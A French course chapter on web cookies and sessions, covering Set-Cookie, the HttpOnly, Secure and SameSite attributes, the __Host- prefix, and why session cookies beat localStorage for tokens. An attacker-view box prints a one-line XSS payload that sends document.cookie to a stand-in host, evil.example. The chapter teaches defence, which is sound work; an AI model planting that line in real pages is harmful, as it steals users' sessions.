Chapitre 2.2 — Cookies & sessions

⏱️ TL;DR — Un cookie est une petite donnée que le serveur pose (Set-Cookie) et que le navigateur renvoie automatiquement à chaque requête vers le domaine. C’est le support le plus courant de la session. Trois attributs décident de sa sécurité : HttpOnly (invisible au JavaScript → limite le vol par XSS), Secure (envoyé en HTTPS seulement), SameSite (Lax/Strict/None → première ligne de défense contre le CSRF). Bien réglés, avec les préfixes __Host-, ils font d’un cookie de session un support robuste — bien plus sûr que de ranger un token dans le localStorage.

🎯 Objectifs

• Comprendre le cycle Set-Cookie → renvoi automatique et le lien cookie/session.
• Régler les attributs HttpOnly, Secure, SameSite, Domain/Path et les préfixes.
• Choisir en connaissance de cause entre cookie de session et token dans localStorage.
• Reconnaître les configurations de cookie dangereuses.

Le cycle d’un cookie

Le serveur pose un cookie via l’en-tête Set-Cookie dans une réponse ; le navigateur le stocke et le renvoie automatiquement dans l’en-tête Cookie à chaque requête vers le domaine correspondant.

# Réponse du serveur (à la connexion) :
HTTP/1.1 200 OK
Set-Cookie: session=eyJ...; HttpOnly; Secure; SameSite=Lax; Path=/
 
# Puis, à CHAQUE requête suivante, le navigateur renvoie tout seul :
GET /api/mes-cours HTTP/1.1
Cookie: session=eyJ...

C’est ce renvoi automatique qui rend les cookies pratiques (l’utilisateur reste connecté) — et c’est aussi ce qui les expose au CSRF (le cookie part même si la requête est déclenchée par un autre site). D’où l’importance de SameSite, plus bas.

Le cookie contient typiquement un identifiant de session opaque (une longue valeur aléatoire) qui référence, côté serveur, les données de session (l’utilisateur connecté, ses droits…). Le cookie lui-même ne contient pas ces données sensibles : il n’est qu’une clé.

Les trois attributs qui comptent

HttpOnly — invisible au JavaScript

Un cookie HttpOnly n’est pas accessible via document.cookie en JavaScript. Conséquence directe : même si un XSS parvient à exécuter du code sur ta page, il ne pourra pas lire le cookie de session pour l’exfiltrer. C’est une atténuation majeure du vol de session par XSS.

Set-Cookie: session=...; HttpOnly

🎯 Côté attaquant — Le vol de session « classique » par XSS ressemble à new Image().src = 'https://evil.example/vol?c=' + document.cookie. Si le cookie est HttpOnly, cette ligne récupère… tout sauf le cookie de session — l’exfiltration échoue sur la partie qui compte. HttpOnly ne corrige pas le XSS (l’attaquant peut encore agir dans la page), mais il ferme la porte du vol de cookie.

Secure — HTTPS seulement

Un cookie Secure n’est envoyé que sur des connexions HTTPS. Sans lui, un cookie pourrait partir en clair sur une connexion HTTP et être intercepté sur le réseau. En pratique : tout cookie de session doit être Secure (et tout le site doit être en HTTPS — voir le chapitre 2.3).

Set-Cookie: session=...; Secure

SameSite — la défense CSRF de base

SameSite contrôle si le cookie est envoyé lors de requêtes cross-site (déclenchées depuis un autre site). Trois valeurs :

Pour un cookie de session, Lax est le choix par défaut raisonnable, Strict si tu peux te le permettre côté UX. None seulement avec une vraie raison — et jamais sans autre défense CSRF.

💡 Réflexe — SameSite=Lax est une première ligne de défense CSRF, pas la seule. Elle réduit énormément la surface (les POST cross-site classiques sont bloqués), mais on la complète par des jetons anti-CSRF pour les actions sensibles (Partie 8) — defense in depth. Ne considère jamais SameSite seul comme « le problème CSRF réglé ».

Domain, Path et les préfixes

• Domain : élargit la portée du cookie aux sous-domaines (Domain=formacampus.fr → envoyé aussi à api. et app.). À utiliser avec parcimonie : plus la portée est large, plus un sous-domaine compromis met en danger le cookie. Sans Domain, le cookie est limité à l’hôte exact (plus sûr).
• Path : limite le cookie à un chemin. Faible valeur de sécurité (contournable), à ne pas confondre avec un contrôle d’accès.
• Préfixe __Host- : nommer un cookie __Host-session impose au navigateur qu’il soit Secure, sans Domain (donc lié à l’hôte exact) et avec Path=/. C’est une garantie forte et gratuite pour les cookies sensibles. Le préfixe __Secure- impose au moins Secure.

# Cookie de session robuste :
Set-Cookie: __Host-session=eyJ...; HttpOnly; Secure; SameSite=Lax; Path=/

Cookie vs localStorage : où ranger un token ?

Débat récurrent, surtout côté SPA. Beaucoup de tutoriels rangent le token d’auth (souvent un JWT) dans le localStorage. C’est en général une mauvaise idée du point de vue sécurité :

Le point décisif : dès qu’il y a un XSS, un token en localStorage est lisible et exfiltrable en une ligne, tandis qu’un cookie HttpOnly ne l’est pas. On échange le risque CSRF (bien maîtrisé par SameSite + jetons) contre une immunité au vol par XSS — un bon échange. La recommandation générale (OWASP) penche vers le cookie HttpOnly + Secure + SameSite pour stocker l’identifiant de session.

⚠️ Piège — « Le JWT dans le localStorage, c’est plus simple. » Simple, oui ; sûr, non. En cas de XSS, localStorage.getItem('token') livre le jeton à l’attaquant, qui se connecte alors depuis chez lui, sans même rester sur la victime. Et un JWT auto-porté est difficile à révoquer. Préfère un cookie de session HttpOnly ; si tu tiens aux tokens, garde-les hors de portée du JS.

🧭 Sur FormaCampus — La session de FormaCampus est portée par un cookie __Host-session : HttpOnly (un éventuel XSS ne peut pas voler la session), Secure (HTTPS partout), SameSite=Lax (bloque les POST cross-site) et lié à l’hôte exact. L’identifiant de session est opaque (aléatoire, sans donnée sensible dedans) et référence l’état côté serveur, ce qui permet de révoquer une session instantanément (déconnexion, compromission) — impossible avec un JWT auto-porté rangé côté client.

✏️ Exercices

Exercice 1 — Corrige le Set-Cookie. Une appli pose sa session ainsi : Set-Cookie: session=abc. Cite les trois attributs manquants critiques et écris la version corrigée pour une appli HTTPS.

Exercice 2 — Choisis le stockage. Une nouvelle SPA doit garder l’utilisateur connecté. Un collègue propose de stocker le JWT en localStorage « parce que c’est plus pratique ». Quel est le principal risque, et que proposes-tu ?

🧠 Quiz de révision

Chapitre suivant : HTTPS/TLS : ce qu’il protège — ce que le cadenas garantit vraiment, et les attaques qu’il ne bloque absolument pas.